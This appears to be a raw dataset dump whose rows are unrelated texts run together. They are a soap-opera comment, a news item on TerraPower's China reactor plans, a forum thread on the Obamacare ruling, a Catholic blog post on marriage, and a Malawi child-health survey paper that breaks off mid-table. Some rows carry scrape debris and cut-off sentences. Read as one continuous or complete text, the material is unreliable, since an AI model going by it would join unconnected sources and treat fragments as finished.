text stringlengths 8 5.77M |
|---|
Well, I just watched Friday's episode....it wasn't awful like other episodes have been, but it wasn't spectacular.
If people are this happy over a lack of SFX, the show is in pretty sad shape. I mean, it shouldn't matter if there are effects or not-- if the show is good, the show is good.
The only part I really enjoyed was the DiMeras. I liked the ending with Stefano and I liked Lexie's part in the episode, but that about does it.
Also, inregards to the next time preview, I really hope that they keep the occasional quirk that I really enjoy-- if something huge happens in the next time preview, I love how we hear a SCREECH right as the last bolt of light flies up the screen. |
TerraPower, a nuclear-energy company founded by Bill Gates, is unlikely to follow through on building a demonstration reactor in China, due largely to the Trump administration’s crackdown on the country.
Why it matters: This is a blow to America's attempts to commercialize advanced, smaller scale nuclear technology and, separately, further evidence of soured relations between the U.S. and China under President Trump.
Driving the news: In a year-end blog post covering various topics published Saturday night, Gates said of TerraPower: “We had hoped to build a pilot project in China, but recent policy changes here in the U.S. have made that unlikely.”
Details: The Trump administration, led by the Energy Department, announced in October that it was implementing measures to “prevent China’s illegal diversion of U.S. civil nuclear technology for military or other unauthorized purposes.”
Those measures have made it nearly impossible for TerraPower’s project to go forward, according to multiple people familiar with the development.
TerraPower had pursued plans to build a pilot reactor in China because that country has two things America doesn’t — growing electricity demand and a long-term strategic energy plan — a top TerraPower executive told me last year
Morning Consult an analyst
For the record: “The Department of Energy continues to support the development of advanced nuclear reactors in the United States by Terrapower and others. This cutting edge technology has the ability to offer Americans a clean and resilient resource for electricity and other purposes," said Energy Department spokeswoman Shaylyn Hynes in an emailed statement.
"DOE also sees opportunities for global exports of this technology to nations who seek to develop their own civilian nuclear power programs for peaceful purposes.”
The big picture: Gates has long been bullish on combating climate change with advanced nuclear energy because the technology is carbon-free and smaller and deemed safer than existing nuclear plants. He founded TerraPower a decade ago, and next year he plans to speak out more about how America needs to “regain its leading role in nuclear power research,” he said in his blog post.
“Unfortunately, America is no longer the global leader on nuclear energy that it was 50 years ago. To regain this position, it will need to commit new funding, update regulations, and show investors that it’s serious.”
— Bill Gates
What’s next: “We may be able to build it [the reactor] in the United States if the funding and regulatory changes that I mentioned earlier happen,” Gates said in his post, although he didn’t specify which funding or regulations.
Meanwhile, the Energy Department just announced
Go deeper: |
Obamacare upheld 6-3 by Supreme Court - kbal11
http://www.nytimes.com/2015/06/26/us/supreme-court-affordable-care-act-health-subsidies.html
======
hwstar
This ruling is actually very good for individual freedom. I'm happy to see
that the supreme court made an intelligent ruling. I'm 54 and semi-retired. I
have pre-existing conditions and if we went back to the way things used to
work, I'd have to become employed full time again.
I hate everything American employment stands for. Age discrimination,
employment-at-will, invention agreements, covenants not to compete, and
binding arbitration to name a few.
At least now, I can continue to live off my investments and rental income, and
contribute to the open source community in the areas of hardware and software
design.
The taste of freedom is exhilarating!!
~~~
ikeboy
Are you getting subsidies from the government while living in a state that
didn't set up an exchange? If not, this ruling has no effect on you.
~~~
hwstar
I'm in California. A state with its own exchange.
If this ruling had gone the other way, it would have affected me eventually. I
would not expect Congress to do anything, and the state of California may not
have been able to react quick enough with state legislation to stabilize
things.
There would have been a domino effect as more people in red states cancelled
their insurance and left only the very sick with insurance. The effect would
have reached the states with their own exchanges. The whole thing would have
likely collapsed.
~~~
ikeboy
I don't get why it would affect other states. The only people cancelling would
be people who couldn't afford without the subsidies. Are you saying the whole
system only works because of the subsidies? But it wasn't _that_ much worse
before, and all the other provisions would have remained.
~~~
hwstar
Yes, it would be unworkable without the subsidies.
There are 34 states using the Federal exchange. Most of these states are in
the south and midwest. The income per capita in these states is much lower
than the states with their own exchanges. It is estimated that 70% of those
covered would cancel their insurance in these states if the subsidies were
eliminated. The remaining 30% would try to hang on as they probably really
need the insurance due to pre-existing conditions. Insurance companies would
not be able to make a profit off of the remaining 30% and they would raise
unsubsidised rates to try and compensate. As they raised the rates, more
people would drop out and then the insurance companies would start raising
rates in the states with their own exchanges, and on employers who offer
health insurance to employees to compensate. The whole thing would have come
crashing down.
~~~
ikeboy
Why are the people getting subsidies and are poor also the ones the insurance
companies are profiting most off of? If you don't assume such a correlation,
then the worst that will happen is a slightly smaller economy of scale.
Am I missing something?
Also, if an insurance company is losing money in a state, stopping to service
that state is strictly better for profits than continuing and raising money by
raising prices elsewhere. One state shouldn't affect others like that.
------
MichaelCrawford
Without obamacare i would have no coverage at all. i dont object to paying for
traditional health insurance but before obamacare i could not qualify as i
have too many preexisting conditions.
~~~
transfire
Just about everyone agrees with the preexisting conditions aspect of the law.
The problem with the law is much bigger than that however. I'll try to break
down some of the issues to clarify.
1\. The law institutionalizes a broken insurance and pharmaceuticals system
that puts profits about health outcomes.
2\. Because of high deductibles, the employed poor are paying for care they
cannot afford to use, in effect subsidizing the upper classes who can.
3\. Dependents become a burden to tax payers b/c they are now responsible for
their health coverage. (Think unemployed granddaughter who lives with, but
also helps take care of, her grandmother.)
4\. Administrative requirements are out-of control. And digital record systems
are proving to be a complete disaster (thanks to lousy regulations).
5\. The system continues to perpetuate employee provided care.
6\. It unfairly burdens the young to placate the old.
I am sure others can add to this list.
~~~
hwstar
Point 1 I agree on, the others not so much.
2\. Not true. The co-pays and deductibles for low income people are
subsidized. Some pay as little as $5 to see the doctor or get a name brand
prescription drugs.
3\. The system was designed to spread the risk. This is by design.
4\. Not really. I don't have any trouble seeing a doctor when I need one due
to red tape.
5\. No. It does the opposite. It offers freedom from employment for those who
work for 35 years and acquire assets to live off of.
6\. Historically, the young have always supported the old in human society
since the beginning of time. There's no logical reason to change that deal.
~~~
transfire
2\. Cost sharing only operates in a very limited window of income. One must
also buy a Silver plan which costs more (offsetting some of the cost share)
and these plans are highly restricted to in-network doctors and hospitals.
3\. And the effect is to destroy family bonds.
4\. It's not just about seeing a doctor, but the additional costs. Do you know
the average doctor has 7 minutes per patient per visit in order to be
profitable?
5\. People who work 35 years soon get Medicare. For everyone else one still
has to contend with getting new coverage when one leaves their job.
6\. That makes it okay to institutionalize? You missed the word "unfairly".
The ACA goes beyond what is natural. We are going to tax 18 year olds to pay
for grandmom's $500,000 cancer medicine so she can live an extra 4 months?
|
Christ the new Adam, in the very revelation of the mystery of the Father and of his love, fully reveals man to himself and brings to light his most high calling (Gaudium et Spes, n.22).
Thursday, 15 December 2011
What marriage is (2): in the Church
The locus of the current debate about what is, and is not, marriage is the world at large. The Catholic Church is engaged in that debate in promoting marriage as it is commonly understood, that is:
... marriage exists solely between a man and a woman, who by mutual personal gift,
proper and exclusive to themselves, tend toward the communion of their persons.
In this way, they mutually perfect each other, in order to cooperate with God in
the procreation and upbringing of new human lives.
and in opposing proposals that would allow same sex couples to have a married status (rather than a civil partnership status that is currently possible in the UK) that is legislatively and culturally identical to that of married men and women.
However, the debate is not without its implications for the life of the Church, ad intra. The passage in St Paul's letter to the Ephesians - "Wives, be subject to your husbands ... Husbands, love your wives ..." - does not speak of marriage except in reference to the relationship between Christ and the Church. Indeed, in verse 32 St Paul almost goes as far as to say that, actually, the important point in all of this is that it has to do with Christ and the Church:
This is a great mystery, and I mean in reference to Christ and the Church (RSV)
So the relationship between man and woman in marriage, for the baptised Christian, represents the relationship between Christ and the Church. Witness by the Church to the nature of the male and female relationship in marriage is, therefore, not just about a witness to a truth of natural law for the correct ordering of human society (this the significance of that witness for the public debate about same sex marriage); it is also a witness to the very nature of the Church herself. What is at one level about the social and political is at another level profoundly a question of theology/ecclesiology. Recognising this intersection of the social and theological in the question of marriage is important for the Church, since it demonstrates that she can do nothing other than oppose the idea of same sex marriage in the spheres of culture and legislation, or she would not be true to her own nature. It would also be helpful if those outside the Catholic Church were to recognise this intersection of the theological and the social, as it would enable them to have a better understanding of the contribution that the Church is making to public debate on the subject.
Hans Urs von Balthasar ends an essay "A meditation on Ephesians 5", an essay first delivered as a contribution to a seminar in 1978 commemorating the 10th anniversary of the publication of the Encyclical Humanae Vitae,with the following:
Let us end with this observation. For sexuality as Christians understand it - sexuality that takes as its norm the relationship between Christ and his Church - Christ's words hold true: "Let him grasp it who can". But Christ is saying something more here than that very few men and women will actually grasp his doctrine. He is issuing us a challenge to serious endeavour, the same challenge, essentially, that rings through the whole of the Gospel: Take up your cross every day, sell all you possess, and do not cheat as did Ananias and Sapphira. Why should the sexual area alone offer no challenge to the Christian? Sexuality, even as Eros, is to be an expression of Agape, and Agape always involves an element of renunciation. And only by renunciation can the limits that we set on our own self-surrender be transcended.
The debate about same sex marriage provides the Catholic Church with an opportunity to renew her own self-understanding, and to evangelise those of her community who have become less and less conscious of the ecclesiological signficance of the Sacrament of Marriage. And, of course, to evangelise those of her members who dissent from the teaching of the Church on this matter.
Prayer for England
We come to you, most holy Virgin. We are children of England, your dowry. Keep us faithful to the Gospel of Jesus your Son. Keep us in the unity of the Catholic faith and the power of hope.
Mother of love, protect all the families of England. Help them to stay together. Give them the happiness of loving and passing on life.
You are the Mother of Christ, our Saviour. Open our hearts to people who are suffering. May each of us offer signs of friendship and welcome to people who are less well off than us.
Faithful Virgin, help us in our lives. Help us to choose the way in life that Jesus wants us to follow. May we face the problems of life today, together with people of other Churches and religions.
You praised the great things done by the Lord. You sang about how God kept his promises to the people of Israel. We bless you because you believed in the Word of God and in his Love which lasts for ever and ever.
Disclaimer
The content of this blog reflects my own point of view on the matters discussed. It does not in any way reflect the views of any organisations to which I may have links.
The use of the word "Catholic" in the title "Catholic Commentary" is not intended to imply that this blog has received the consent of the Roman Catholic Diocese of Brentwood, or any other ecclesiastical authority, for the use of the description "Catholic" (cf 1983 Code of Canon Law c.216). Such consent has not been sought, and the blog remains a personal initiative within the meaning of c.216.
I have for some time considered changing the name of the blog in the light of the provisions of c.216, but have preferred not to on the grounds that my use of the word "Catholic" is unlikely to be misunderstood. |
Community health workers (CHWs), referred to as health surveillance assistants (HSAs), have been working in Malawi since the 1960s \[[@R1]\]. HSAs initially focused on health prevention and promotion activities, but in 2008, they began to take on curative activities when Malawi adopted integrated community case management (iCCM) and expanded the HSA workforce to help reach the country's goal of universal coverage of key child health interventions \[[@R1]\].
Integrated community case management (iCCM) is an equity-focused strategy that can improve access to and availability of essential treatment services for children by training, equipping, and supporting CHWs to manage -- assess, classify, and treat -- cases of malaria, pneumonia, and diarrhea among children under five years of age at the community level \[[@R2]\]. Communities farther than eight kilometers from a health facility or with difficult access because of geographical terrain or natural barriers were designated as being located in hard-to-reach areas (HTRAs) in Malawi and thus eligible for iCCM. District health management teams identified 3452 HTRAs \[[@R1]\], and iCCM rollout began in 2009 \[[@R3]\]. By September 2011, 2709 HTRAs had iCCM services \[[@R1]\]. Throughout its implementation, the iCCM programme in Malawi has benefited from the financial support received from global funding agencies and technical and logistical support from non-governmental organizations, primarily at the district or sub-district levels \[[@R4]\].
HSAs are centrally recruited and on the payroll of the MOH, but they are deployed to and stationed in the communities that they serve \[[@R5]\], providing iCCM services from their village clinics \[[@R6]\] in addition to providing other promotion and prevention activities at the community and health facility levels. HSAs are meant to serve approximately 1000 residents, but in practice they often have catchment areas of 2000 residents or more \[[@R5]\]. HSAs have at least 2 years of secondary school education and receive 10 weeks of pre-service training \[[@R1]\]. HSAs implementing iCCM complete six additional days of focused iCCM training \[[@R1]\] and are provided a drug box containing iCCM supplies. These supplies are replenished monthly at each HSA's supervisory health facility, where HSAs also submit their reporting forms and go for mentoring sessions with clinicians.
Responsibilities of HSAs providing iCCM services include assessing, classifying, and treating children ages 2-59 months who present with common childhood illnesses -- fever, cough, fast or difficult breathing, diarrhea, and eye infections. HSAs also screen for malnutrition and identify signs of severe illnesses and refer those children, and other children with illness that they cannot treat, to a health facility. In addition to iCCM-related activities, HSAs are responsible for conducting health promotion, prevention, supervisory, surveillance, and assessment activities \[[@R1],[@R7]\]. Because they are responsible for implementing numerous activities in their communities and at health facilities, they cannot provide iCCM services every day. At a minimum, HSAs are supposed to open their village clinics two days per week and provide iCCM services on demand outside of their village clinic hours \[[@R4]\].
The iCCM programme in Malawi is a mature one -- having been rolled out almost a decade ago and scaled up to all districts. In 2013-2014, an independent national-level evaluation was conducted to assess the extent to which iCCM was associated with increases in care-seeking for childhood illness and accelerated declines in under-five mortality \[[@R8]\]. The evaluation showed that iCCM did not lead to an increase in care-seeking for childhood illness or impact under-five mortality, but it did show an increase in care-seeking from HSAs between 2010 and 2014 \[[@R8]\]. The evaluation further showed that iCCM implementation needed further strengthening. Among the 3717 surveyed HSAs trained in iCCM, 91% were providing iCCM services, but only 70% of those providing iCCM services lived in their catchment areas. Furthermore, during the three months prior to the assessment, 57% had key iCCM medicines in stock; 44% were supervised; and 58% received clinical mentorship, though results varied widely among the 27 districts included in the evaluation \[[@R4]\].
From 2013 until 2017, under the Rapid Access Expansion (RAcE) programme, the World Health Organization supported the MOH to expand and strengthen iCCM services in four districts: Dedza, Mzimba North, Ntchisi, and Ntcheu. When RAcE started, iCCM was well-established across Malawi, and more than 400 HSAs trained in iCCM were already working in the four project districts. The goal of RAcE Malawi programme, therefore, was to expand and strengthen iCCM by: (1) extending services to additional hard-to-reach areas, (2) supporting the shift in iCCM-eligible areas from areas more than 8 km to areas more than 5 km from a health facility, (3) introducing malaria rapid diagnostic tests (mRDTs) at the community level, and (4) updating the first-line antibiotic that HSAs use to treat children with pneumonia. RAcE also aimed to strengthen iCCM implementation by ensuring regular supply of iCCM medicines and other commodities, strengthening HSA supervision and mentorship, and increasing community awareness of and demand for iCCM services.
The purpose of this study is to examine iCCM implementation strength and programme performance in RAcE districts to further strengthen Malawi's mature iCCM programme.
METHODS
=======
Study design
------------
Two cross-sectional household surveys -- the first at project baseline and the second at project endline -- were conducted in HTRAs of the RAcE districts. The surveys used a 60×15 multi-stage cluster sampling methodology and targeted primary caregivers of children aged 2-59 months who had been sick with diarrhea, fever, or cough with difficult or fast breathing in the two weeks preceding the survey. The data were analyzed to assess changes in care-seeking and treatment over the project period. A survey of HSAs was conducted concurrently with the endline household survey to assess iCCM implementation strength. The objective of the HSA survey was to gain a better understanding of HSA background characteristics, activity levels, and support that they received to help interpret the household survey results. The baseline survey fieldwork was conducted in September 2013, and the endline survey fieldwork was conducted in August 2016.
Study area
----------
The target population comprised the entire RAcE project area, iCCM-eligible areas more than 5 km from a health facility, of the four project districts. The primary sampling units were 2008 national census enumerations areas (EAs). All EAs located within 5 km of a health facility were excluded from the sampling frame before 60 EAs were randomly selected proportional to population size. The same EAs, or clusters, were included in both the baseline and endline surveys.
Within each cluster, all households were listed and those without children under five who had been sick with diarrhea, fever, or cough with difficult or fast breathing in the two weeks preceding the survey were removed from the list. The survey team then randomly selected 15 households from the list to visit and 15 back-up households. The survey team visited each selected household in the first group of 15 to obtain at least 5 interviews for each illness module -- diarrhea, fever, and fast breathing -- for a total of at least 15 interviews per cluster, or 300 interviews per illness across the project area. If the survey team did not obtain all necessary interviews, the survey team visited back-up households to fulfill the requirements for the cluster.
At each household, if there was an eligible child, the interviewer administered the questionnaire, including all applicable illness modules, to the caregiver of the eligible child. If multiple children were eligible, and they were sick with different illnesses, their caregiver was asked about each instance of illness. If multiple children in the household were eligible for the same illness, the interviewer randomly selected one of them and interviewed his or her caregiver. If there were multiple children selected for inclusion in the survey, and the children had different primary caregivers, each primary caregiver of the selected children was interviewed.
HSAs providing iCCM services in the 60 clusters selected for the household survey comprised the HSA survey target population. The clusters did not align perfectly with HSA catchment areas; therefore, if more than one HSA was providing iCCM services in a cluster, one eligible HSA was randomly selected for interview. If the survey team did not find an HSA eligible for interview in a cluster, they recorded the reason an iCCM-trained HSA was not available.
Survey questionnaire
--------------------
The household survey questionnaire included seven modules: caregiver and household background information; caregivers' knowledge of iCCM activities in their community; caregivers' knowledge of childhood illness danger signs; household decision-making; and a module for each major childhood illness: fever, diarrhea, and fast breathing. The baseline questionnaire was also used at endline, but two questions were added to each illness module to gather information about reasons caregivers did not seek care at all or did not seek care from an HSA. The questionnaire was translated into the national language, Chichewa, and pretested during the enumerator and supervisor training. The survey took approximately one hour to administer in each household.
The HSA survey questionnaire contained eight sections, four of which were relevant to this study: HSA background, supervision, medicine and supplies, and iCCM activities and register review. The questionnaire was translated to Chichewa and pretested alongside the household survey questionnaire. The survey took approximately 30 minutes to administer to each HSA.
Data collection and analysis
----------------------------
Both household surveys and the HSA survey were conducted using paper questionnaires. All data were double-entered into CSPro (US Census Bureau, Suitland, Maryland, USA), cleaned, and imported into Stata version 14 (StataCorp LLC, College Station, Texas, USA) for analysis. The analyst further cleaned and coded the Stata data files for analysis and calculated point estimates and 95 percent confidence intervals for background, programme performance, and implementation strength indicators. Household survey indicators were calculated for baseline and endline, accounting for cluster effects. To test for statistically significant changes in indicators between baseline and endline, the analyst used a Pearson χ^2^ test; all outcomes of interest were binary or categorical variables. Changes with p-values less than 0.05 were deemed statistically significant.
The household and HSA survey data were combined to also explore the relationship between iCCM access and caregiver perceptions of HSAs, care-seeking, and treatment coverage existed at endline. We classified the survey clusters as having limited or no access, moderate access, or high access to iCCM as follows: clusters with limited or no access did not have an HSA providing iCCM services or had an HSA who did not meet the MOH definition of functional (ie, managed at least one sick child case in past month and operated a village clinic at least two days per week); clusters with moderate access had an HSA who met the MOH definition of functional; and clusters with high access had an HSA who managed at least one sick child case in past month, operated a village clinic at least five days per week, and resided in catchment area.
RESULTS
=======
Description of the sample
-------------------------
There were 1260 total cases of illness among 807 sick children in the baseline survey, and 1447 total cases of illness among 873 sick children in the endline survey ([**Table 1**](#T1){ref-type="table"}). There were 720 primary caregivers of sick children interviewed at baseline, and 783 primary caregivers of sick children interviewed at endline. The characteristics of the sick children and caregivers included in the baseline and endline surveys were similar, but at endline more children had fever in the two weeks preceding the survey (70%) compared to baseline (60%), and a larger percentage of caregivers were married at baseline (85%) compared to endline (75%).
######
Characteristics of sick children and their caregivers included in the surveys
Child characteristic Baseline % (95% CI) Endline % (95% CI) *P*-value
---------------------------------------------------------------------- ---------------------- --------------------- ----------------
**Sex of sick children included in survey:**
Male, % 51.4 (47.7-55.2) 49.8 (46.7-52.9) 0.491
Female, % 48.6 (44.8-52.3) 50.2 (47.1-53.3)
**Age (months) of sick children included in survey:**
2-11, % 22.1 (19.1-25.7) 22.1 (19.5-25.0) 0.724
12-23, % 24.7 (21.7-27.8) 24.6 (22.1-27.3)
24-35, % 22.7 (19.9-25.7) 20.3 (17.5-23.4)
36-47, % 17.2 (14.9-19.9) 20.3 (17.5-23.4)
48-59, % 13.3 (10.7-16.3) 14.8 (12.6-17.3)
**Two-week history of illness of sick children included in survey:**
Had fever, % 59.9 (56.4-63.2) 70.7 (66.9-74.2) **\<0.001**
Had diarrhea, % 46.5 (43.7-49.2) 46.1 (43.3-48.9) 0.811
Had cough with difficult or fast breathing, % 58.5 (55.4-61.6) 60.0 (56.6-63.3) 0.461
Average number of illnesses, N 1.6 1.8
**Total number of sick children included in survey** **807** **873**
**Cases of illness among sick children included in survey:**
Fever, N 455 571
Diarrhea, N 364 387
Cough with difficult or fast breathing, N 441 489
**Total number of sick child cases included in survey** **1260** **1447**
**Caregiver characteristic:**
**Age (years):**
15-24 35.8 (32.7-39.1) 40.2 (36.4-44.2) 0.306
25-34 44.3 (40.6-48.1) 40.0 (36.7-43.4)
35-44 15.6 (13.3-18.1) 15.7 (13.2-18.6)
45-76 4.3 (2.9-6.4) 4.1 (2.7-6.2)
Mean age (years) 29 28
**Highest level of education:**
None 14.4 (11.1-18.6) 12.1 (9.5-15.4) 0.063
Primary,≤4 years 32.2 (28.4-36.3) 36.0 (31.8-40.5)
Primary,≥5 year 43.5 (38.6-48.5) 39.1 (34.3-44.1)
Secondary or higher 9.9 (7.6-12.7) 12.8 (10.2-15.8)
**Marital status:**
Currently married 84.9 (81.1-88.0) 75.4 (71.4-78.9) **\<0.001**
Not married but living with partner 3.8 (2.2-6.4) 9.2 (6.4-13.1)
Not in union 11.4 (8.9-14.5) 15.5 (13.1-18.1)
**Total number of caregivers** **720** **783**
On average, caregivers reported that they lived between 9 and 10 km from the nearest health facility, and the majority of caregivers reported walking to the health facility in both surveys. It took caregivers approximately two hours, on average, to reach the nearest health facility at both baseline and endline, regardless of whether they walked or traveled by other means.
iCCM care-seeking and treatment coverage
----------------------------------------
The household survey analysis resulted in a mix of positive and negative trends ([**Tables 2 to 4**](#T2){ref-type="table"}[](#T3){ref-type="table"}[](#T4){ref-type="table"}). Caregiver awareness of the presence of the iCCM-trained HSA in their community was high at both baseline (90%) and endline (83%) but showed a downward trend over the project period (*P* \< 0.05) ([**Table 2**](#T2){ref-type="table"}). Of those aware of an iCCM-trained HSA in their community, only one-third knew the HSA's role (ie, could name two or more curative services that the HSA performs) at both baseline and endine. In addition, perceptions of HSAs as trusted health care providers (82% at baseline and 70% at endline) who are convenient sources of care (60% at baseline and 47% at endline) and providers of quality services (68% at baseline and 58% at endline) all decreased over the project period (*P* \< 0.01). Among caregivers who sought care from an HSA for at least one illness, there was no change in the percentage who found the HSA at first visit (approximately 85% at both baseline and endline). Seeking care from an appropriate health care provider remained consistent over the project period (66% at baseline and 70% at endline), but the percentage of children taken to an HSA increased from 26% at baseline to 33% at endline among all cases of illness and from 30% at baseline to 41% at endline among cases of illness for which any care was sought.
######
Household survey results: caregiver knowledge, perceptions, and care-seeking
Indicator Baseline % (95% CI) Endline % (95% CI) Baseline N Endline N *P*-value
--------------------------------------------------------------- --------------------- -------------------- ------------ ----------- -------------
**Caregiver knowledge of iCCM HSA in their community**
\% aware of iCCM HSA 90.0 (83.3-94.2) 83.4 (74.7-89.6) 720 783 **0.036**
\% know the role of the iCCM HSA\* 35.0 (29.6-40.9) 34.0 (28.7-39.7) 648 653 0.793
**Caregiver perceptions of iCCM services**
\% view HSAs as trusted health care providers\* 82.3 (77.5-86.2) 70.3 (62.8-76.8) 648 653 **\<0.001**
\% believe HSAs provide quality services\* 68.4 (63.7-72.7) 57.6 (52.3-62.7) 648 653 **\<0.001**
\% cite HSAs as a convenient source of treatment\* 59.6 (52.5-66.3) 47.3 (39.9-54.8) 648 653 **0.005**
\% found HSA at first visit 86.5 (79.3-91.5) 84.0 (78.2-88.4) 230 312 0.541
**Sick child care-seeking†**
\% sought care from an appropriate provider 65.6 (60.7-70.1) 70.0 (65.4-74.2) 1260 1447 0.074
\% sought care from HSA as first source, all sick child cases 25.7 (20.2-32.1) 33.4 (27.1-40.3) 1260 1447 **0.028**
\% sought care from HSA as first source, sought any care 30.1 (23.7-37.4) 40.5 (33.2-48.2) 1076 1194 **0.012**
HSA -- health surveillance assistant, iCCM -- integrated community case management
\*Asked only of caregivers who states that there was an iCCM-trained HSA in their community.
†Denominator for these indicators is sick child cases, not caregivers.
######
Household survey results: sick child assessment
Indicator Baseline % (95% CI) Endline % (95% CI) Baseline N Endline N *P*-value
--------------------------------------------------------------------------------------------- --------------------- -------------------- ------------ ----------- -------------
**Sick child assessment, all illness cases**
\% febrile children tested for malaria 35.6 (30.0-41.7) 59.0 (53.7-64.2) 455 471 **\<0.001**
\% febrile children who received the malaria test result 96.9 (92.6-98.7) 97.3 (95.0-98.6) 162 337 0.761
\% children with cough and difficult or fast breathing who were assessed for fast breathing 25.6 (20.6-31.4) 38.5 (33.5-43.7) 441 489 **\<0.001**
**Sick child assessment by HSA at village clinic, sought care from HSA**
\% febrile children tested for malaria 0 61.7 (52.7-70.0) 126 196 **\<0.001**
\% febrile children who received the malaria test result 0\* 98.4 (93.3-99.6) 0 121 --
\% children with cough and difficult or fast breathing who were assessed for fast breathing 29.6 (21.0-40.0) 55.8 (46.0-65.1) 98 147 **\<0.001**
CI -- confidence interval, HSA -- health surveillance assistant
\*There were no cases or number of cases was too small to calculate a percentage.
######
Household survey results: Sick child treatment
Indicator Baseline % (95% CI) Endline % (95% CI) Baseline N Endline N *P*-value
----------------------------------------------------------- --------------------- -------------------- ------------ ----------- -------------
**Sick child treatment, all illness cases**
\% confirmed malaria cases that received ACT\* 84.4 (77.0-89.8) 92.4 (87.9-95.4) 122 238 **0.032**
\% confirmed malaria cases that received ACT promptly\*,† 57.4 (47.5-66.7) 59.2 (52.5-65.7) 122 238 0.747
\% diarrhea cases that received both ORS and zinc 18.4 (13.8-24.1) 21.2 (16.9-26.3) 364 387 0.398
\% diarrhea cases that received ORS 70.1 (64.4-75.1) 68.5 (63.2-73.3) 364 387 0.664
\% diarrhea cases that received zinc 21.4 (16.8-26.9) 24.0 (19.1-29.8) 364 387 0.439
**Sick child treatment by HSA, all illness cases**
\% confirmed malaria cases that received ACT\* 0.0 34.9 (25.6-45.4) 122 238 **\<0.001**
\% confirmed malaria cases that received ACT promptly\*,† 0.0 25.2 (17.8-34.4) 122 238 **\<0.001**
\% diarrhea cases that received both ORS and zinc 7.1 (4.3-11.6) 10.6 (7.2-15.4) 364 387 0.183
\% diarrhea cases that received ORS 27.8 (21.5-35.1) 30.2 (23.6-37.8) 364 387 0.533
\% diarrhea cases that received zinc 8.2 (5.1-13.0) 11.1 (7.7-15.9) 364 387 0.263
**Sick child treatment by HSA, sought care from HSA**
\% fever cases that received ACT\* 59.7 (51.2-67.7) 54.4 (45.2-63.2) 124 184 0.446
\% fever cases that received ACT promptly\*,† 52.4 (43.9-60.8) 38.6 (30.6-47.3) 124 184 **0.026**
\% confirmed malaria cases that received ACT\* 0‡ 89.0 (79.1-94.6) 0 91 --
\% confirmed malaria cases that received ACT promptly\*,† 0‡ 64.8 (53.8-74.5) 0 91 --
\% diarrhea cases that received both ORS and zinc 22.2 (14.1-33.3) 27.4 (20.0-36.3) 117 146 0.421
\% diarrhea cases that received ORS 82.9 (72.8-89.8) 76.7 (68.5-83.3) 117 146 0.320
\% diarrhea cases that received zinc 24.8 (16.2-36.0) 28.8 (21.3-37.6) 117 146 0.525
CI -- confidence interval, ACT -- artemisinin-based combination therapy, ORS -- oral rehydration solution, HSA -- health surveillance assistant
\* Includes only children 5-59 months old, per national malaria treatment protocol.
† "Promptly" indicates the same day or next day after the onset of fever.
‡There were no cases or number of cases was too small to calculate a percentage.
Sick child assessment indicators showed improvement over the project period ([**Table 3**](#T3){ref-type="table"}). The percentage of febrile children who had blood drawn for malaria testing increased overall from 36% at baseline to 59% at endline, and among cases for which care was sought from an HSA, the percentage increased from 0% at baseline to 62% at endine (*P* \< 0.001). At baseline, HSAs were providing presumptive malaria treatment; mRDTs were introduced during RAcE. The percentage of children with cough and difficult or fast breathing who had their respiratory rate assessed for fast breathing increased overall from 26% at baseline to 39% at endline, and from 30% at baseline to 56% at endline among cases for which care was sought from an HSA (*P* \< 0.001).
The overall percentage of febrile children with confirmed malaria who received artemisinin-based combination therapy (ACT) treatment increased from 84% at baseline to 92% at endline (*P* \< 0.05), but the percentage who received ACT treatment the same or next day following the onset of fever (prompt ACT treatment) was slightly less than 60% at baseline and did not change over the project period ([**Table 4**](#T4){ref-type="table"}). The percentage of confirmed malaria cases treated by an HSA increased from 0% at baseline to 35% at endline (*P* \< 0.001), and the percentage of confirmed malaria cases treated promptly by an HSA increased from from 0% at baseline to 25% at endline (*P* \< 0.001). Among those who sought care from an HSA, the percentage of confirmed malaria cases treated by an HSA was 89% at endline, and the percentage treated by an HSA promptly was 65%. The percentage of febrile children who received ACT treatment from an HSA, among those who sought care from an HSA remained between 50% and 60% over the project period, but the percentage that received ACT treatment promptly decreased from 52% to 39% over the same period (*P* \< 0.05).
Although care-seeking from an appropriate health care provider for children with diarrhea was 64% at baseline and 70% at endline, the percentage of children with diarrhea who received both oral rehydration solution (ORS) and zinc, as specified in the national treatment guidelines, was only 18% at baseline and 21% at endline, and the findings were similar among those who sought care from an HSA: 22% at baseline and 27% at endline.
Implementation strength
-----------------------
Forty-seven of 60 survey clusters (78%) had iCCM-trained HSAs available for interview. The remaining 13 clusters either had an HSA in the community who was not trained in iCCM, or the HSA who had been providing iCCM services in the community had passed away or had been transferred and not replaced. Among those interviewed, the median age was 36 years (range: 29-59 years), and 30% were female. The majority (62%) had completed form four; 32% had completed form two; and 6% had only a primary school education. Four of five (83%) reported residing in their catchment area, and of those who did not, 63% lived less than 30 minutes from their village clinic. It took 21% of HSAs two or more hours to travel from their village clinic to their supervisory health facility; 43% between one hour to just under two hours; and 36% less than one hour. Seventy-five percent of HSAs usually traveled this distance by bicycle, 19% walked and 6% used a motorbike.
Almost 90% of the HSAs interviewed met the Malawi MOH's definition of a functional HSA ([**Table 5**](#T5){ref-type="table"}). Only 26%, however, resided in their catchment area, provided iCCM services during the month preceding the survey, and operated their village clinic for at least five days per week. HSAs, on average, managed 43.5 sick child cases during the month preceding the survey. Gaps in availability of essential iCCM medicines and supplies were common; 60% of HSAs interviewed had all essential iCCM medicines and diagnostics in stock on the day of the survey, and 36% reported stockouts of essential iCCM supplies lasting 7 or more days in the month preceding the survey. In the three months preceding the survey, two-thirds of HSAs reported being supervised and just over half reported receiving clinical mentorship.
######
Implementation strength (N = 47 HSAs)
Indicator Endline
------------------------------------------------------------------------------------------------- ----------------------
**HSA residency and functionality (%, 95% CI)**
\% HSAs living in catchment area 83.0% (68.8-91.5%)
\% functional HSAs, according to MOH criteria\* 89.4% (76.2-95.7%)
\% functional HSAs, according to stricter criteria† 25.5% (14.8-40.4%)
**HSA activity levels**
\# days HSAs report operating village clinic per week Mean: 3.3 (±2.2)
Median: 2.0 (range: 0-7)
\# days HSAs report working from health facility in past month Mean: 5.5 (±5.4)
Median: 4.0 (range: 0-31)
\# sick child cases HSAs treated in the past month Mean: 43.5 (±38.9)
Median: 37.0 (range: 0-220)
**Medicine and diagnostics availability (%, 95% CI)**
\% HSAs with all essential iCCM supplies‡ and functional timer in stock on day of survey 59.6% (44.6%-73.0%)
LA (1×6) (1 packet) 87.2% (73.7*-*94.3%)
LA (2×6) (1 packet) 78.7% (64.2*-*88.4%)
mRDT (2 tests) 89.4% (76.2*-*95.7%)
Amoxicillin (1 blister pack) 78.7% (64.2*-*88.4%)
ORS (3 sachets) 78.7% (64.2*-*88.4%)
